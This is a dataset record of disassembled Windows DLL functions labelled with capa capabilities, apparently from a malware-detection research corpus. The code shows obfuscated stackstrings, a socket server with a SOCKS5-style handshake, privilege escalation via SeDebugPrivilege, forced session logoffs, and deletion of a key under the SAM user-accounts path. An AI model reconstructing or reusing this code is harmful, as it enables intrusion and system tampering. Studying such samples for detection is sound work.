joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ce80
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10024fe8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x1002651c
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x50], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call edi
push eax
call ebp
mov cl, 0x69
mov dword [esp + 0x18], eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x34], cl
lea ecx, [esp + 0x2c]
mov al, 0x74
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0x62
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0
call edi
push eax
call ebp
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edx, dword [esi + 0x28]
push 0
push edx
mov edi, eax
call ebx
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push 0x7d0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0
push eax
call ebx
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000cff0
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000cffa
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000d004
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000d00e
push eax
call edi
mov ecx, dword [esi + 0x10]
mov edi, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov ecx, esi
mov dword [esp + 0x48], 0xffffffff
call fcn.10009040
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x1000d770
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x10030488
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x100307a4]
push 0x10030488
inc ecx
mov dword [0x100307a4], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.1000d640
add esp, 8
cmp eax, esi
je 0x1000d90f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x1000d856
cmp eax, 2
je 0x1000d856
cmp eax, 3
je 0x1000d856
cmp eax, 4
jne 0x1000d8cf
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.1000d5b0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.1000de00
add esp, 0x1c
test eax, eax
je 0x1000d90f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000d8cf
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.1000d6e0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x1000d90f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.1000d5b0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.1000de00
add esp, 0x1c
test eax, eax
je 0x1000d90f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000d90f
cmp dword [ebx], 0
je 0x1000d90f
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000d90f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x1000e890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000d8ff
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x1000d920
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x1000d950
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000d96a
cmp al, 2
je 0x1000d96a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x100304a4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000d9ad
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x1000db03
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000daf7
test eax, eax
je 0x1000daf7
cmp byte [ebp], 1
je 0x1000da0d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x1000da36
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x1000da36
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x1000da65
cmp ecx, 0x100
jg 0x1000da65
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x100304a4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000da92
test cl, cl
je 0x1000da8e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000da92
add eax, 2
add esi, 2
test cl, cl
jne 0x1000da6e
xor eax, eax
jmp 0x1000da97
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000dad9
lea esi, [esp + 0x110]
mov eax, 0x100305a4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000dacb
test cl, cl
je 0x1000dac7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000dacb
add eax, 2
add esi, 2
test cl, cl
jne 0x1000daa7
xor eax, eax
jmp 0x1000dad0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000dad9
mov byte [ebp + 1], al
jmp 0x1000dadd
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000db03
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x1000db20
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1002f678
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x1000dbd4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x1000dbdc
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000dbca
test edx, edx
jle 0x1000db94
mov edi, 0x1002c304
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x1000db66
add dword [esp + 0x10], 4
jmp 0x1000db4a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x1000dbf0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000dc00
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x1000de00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x1000de57
call fcn.1000dbf0
add esp, 4
test eax, eax
je 0x1000deb2
push esi
call fcn.1000dbf0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000deb2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000deba
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x1000ded0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.1000d920
add esp, 0xc
test eax, eax
je 0x1000df77
cmp eax, 4
jne 0x1000df18
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.1000dc10
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000df77
test eax, eax
je 0x1000df77
cmp byte [esi], 5
jne 0x1000df77
mov cl, byte [esi + 3]
cmp cl, 1
je 0x1000df44
cmp cl, 3
jne 0x1000df77
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.1000dc10
add esp, 0x14
test eax, eax
je 0x1000df77
mov al, byte [esi + 1]
cmp al, 1
je 0x1000df6e
cmp al, 3
jne 0x1000df77
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x1000df80
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000dfce
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000dfeb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.1000db20
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x1000e340
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1000e42e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000e42e
mov dx, word [0x100304a0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1000e42e
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x1000e3dc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x1000e3e8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x1000e040
push 0
push 0
call ebp
test eax, eax
jne 0x1000e425
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000e3e8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000e3e8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x1000e5e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x1000e61b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1000e622
sub esi, eax
add edi, eax
test esi, esi
jg 0x1000e5f6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x1000ffb0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.10014ab0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x1000ffe8
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
add esi, 4
cmp esi, edi
jb 0x1000ffd3
pop ebx
mov ecx, ebp
call fcn.10010710
push 0
push str.SeDebugPrivilege
call fcn.10014ab0
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x10010010
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.10014ab0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x10010048
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
add esi, 4
cmp esi, edi
jb 0x10010033
pop ebx
mov ecx, ebp
call fcn.10010710
push 0
push str.SeDebugPrivilege
call fcn.10014ab0
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x10010070
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x100100a0
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x100100b0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x100100e6
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret
Function at 0x10010160
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x100101e9
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x100101c2
dec eax
je 0x100101ae
dec eax
jne 0x100101d6
push ecx
mov esi, 0x1002d994
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x1002d990
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4
Function at 0x100107d0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.10024420
add eax, 1
adc edx, 0
push edx
push eax
push 0x1002d9ec
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x10010900
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x10010a42
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x10010a42
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x10010a42
mov ebx, dword [esp + 0x328]
jmp 0x100109b5
xor esi, esi
cmp ebp, esi
je 0x10010a42
mov eax, dword [ebp]
push eax
call sub.MSVCRT.dll_wcslen
inc eax
push eax
call sub.MSVCRT.dll_malloc
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x1002d9f0
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push pe_nt_image_headers32
lea edx, [esp + 0x38]
push esi
push edx
call sub.MSVCRT.dll_strncpy
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x10010a15
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x10010a2a
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x10010a1e
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x100109b3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x10010d30
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
push esi
jne 0x10010d68
lea eax, [esp + 0xc]
push 0x1002da0c
push eax
jmp 0x10010d72
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push reloc.WS2_32.dll_bind
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10010e34
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4